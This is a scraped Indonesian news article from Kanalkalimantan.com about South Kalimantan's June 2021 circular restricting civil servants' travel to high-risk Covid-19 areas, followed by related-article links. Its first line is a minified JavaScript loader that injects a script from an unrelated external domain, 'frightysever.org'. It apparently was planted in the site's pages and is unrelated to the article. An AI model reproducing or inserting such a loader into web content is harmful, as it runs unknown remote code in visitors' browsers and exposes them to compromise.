(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Langkah cepat dilakukan Pemprov Kalsel dalam upaya pencegahan dan penanganan Covid-19, Rabu (23/6/2021). Kebijakan terbaru adalah membatasi secara ketat pergerakan Aparatur Sipil Negara (ASN) antar daerah, baik lintas provinsi maupun kabupaten/kota yang memiliki resiko tinggi tertular Corona.
Pembatasan keluar daerah dilakukan menyusul dikeluarkannya surat edaran (SE) Nomor : 443.3/2674 /X/P2P.1/Dinkes. Perihal Pencegahan dan Penanganan Covid-19.
Dalam surat edaran bertanggal 22 Juni 2021 ditanda tangani Sekdaprov Kalsel Roy Rizali Anwar itu dikeluarkan menyusul terjadinya peningkatan kasus Covid-19 pada 1 bulan terakhir.
Dalam hal ini terdapat 5 (lima) provinsi dengan Bed Occupancy Ratio (BOR) diatas 70% yaitu; DKI Jakarta (86%), Jawa Barat (84%). Jawa Tengah (82%), Banten (80%) dan Daerah Istimewa Yogyakarta (79%), serta ditemukannya strain mutasi virus SARS CoV-2 yang dapat menular dengan cepat.
Baca juga: HUT ke-33 PDAM Intan Banjar, Ini Harapan Sekda Banjar
“Sebagai upaya pencegahan dan pengendalian Covid-19 di Provinsi Kalimantan Selatan, ASN diharapkan melakukan hal seperti menunda atau tidak melakukan perjalanan luar daerah (Jakarta, Jawa-Bali dan daerah lainnya) yang terjadi peningkatan kasus dengan varian/risiko tinggi,” kata Sekdaprov Kalsel Roy Rizali Anwar.
Dalam surat edarannya, Roy juga membatasi perjalanan ke kabupaten/kota zone risiko tinggi atau yang berbatasan dengan kabupaten-kota risiko tinggi/zone merah. Dan Melakukan pengawasan dan testing periodik terhadap pegawai, serta melakukan karantina bagi yang kembali dari perjalanan di daerah zone merah dan memastikan masuk kerja dengan hasil rapid antigen/PCR negatif.
Baca juga: Umur Belasan Korban Prostitusi Online di Banjarbaru, L Ngaku Punya Anak Usia Setahun
“Penting untuk memastikan pegawai dilingkungan instansi sudah dilakukan vaksinasi Covid-19,” tegasnya.
Di sisi lain, Roy juga memerintahkan agar melaporkan segera ke Satgas bidang Penanganan Kesehatan, apabila menemukan hal seperti pegawai yang positif Covid-19 setelah melakukan perjalanan ke luar daerah.
“Termasuk jika ada tamu luar daerah ke Kalimantan Selatan ditemukan positif terpapar Covid-19,” pungkasnya.(Kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.